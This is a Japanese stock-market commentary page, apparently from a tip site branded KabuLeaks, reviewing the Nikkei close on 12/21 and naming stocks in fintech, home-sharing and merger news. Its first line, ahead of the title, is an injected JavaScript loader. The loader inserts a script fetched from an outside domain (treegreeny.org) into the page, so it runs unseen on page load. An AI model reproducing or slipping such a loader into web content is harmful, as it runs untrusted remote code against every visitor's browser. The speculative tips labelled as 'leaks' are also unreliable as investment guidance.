;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【12/21 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【12/21 大引け】

本日の日経平均株価は70円安と前場の大幅続落から下げ幅を縮小して終了。昼休みの先物上昇を受け、後場寄りから買い先行で始まると、その後もアジア株が軒並み堅調に推移したことを追い風に徐々に下げ幅を縮め、一時は前日比1万8979円83銭(前週末比6円97銭安)まで戻す場面も。大引けではやや弱含みとなったが、今晩の米市場の反発、短期売り仕掛けた筋などの買い戻しの動きもあったようだ。業種別では、非鉄金属、鉄鋼、パルプ・紙、空運業などが値上がり率上位に。一方、証券商品先物、金属製品、電気機器、精密機器などが値下がり率上位となった。

個別では、前場に続き、FX取引の活発化の思惑【8704】トレイダーズホールディングスや民泊関連の【8889】アパマンショップ、フィンテック関連の【3778】さくらインターネットなどが高値圏での推移。米国ジェネンテック社と創薬共同研究開発契約を締結、発表した【4587】ペプチドリーム、機関投資家の組み入れの動きなどから先週上場の【6464】ツバキ・ナカシマ、先週末発表自社株買い好感の【9603】エイチ・アイ・エスなども買い優勢に。また、経営統合で合意したと発表した【6479】ミネベアと【6767】ミツミ電機はともに一時急伸し、【6767】ミツミ電機は売買を午後2時52分から一時停止した。

日経平均は後場下げ幅を縮小、日銀会合からの失望売りに関しては一旦出尽くした感がありそうだ。引き続き、原油安からの米市場の動き、利上げからの影響はもう少し様子を見たいところではあるが、明日は一旦反発の動きが強まる可能性は高そうだ。物色は引き続き、フィンテック関連、民泊関連を中心の売買を中心にしつつ、ここ数日で売られた主力株も徐々に狙っていくのもアリかとは思う。日経平均は更なる下値は売り難いものの、買い材料にも乏しくしばらくもみ合いになると予想する。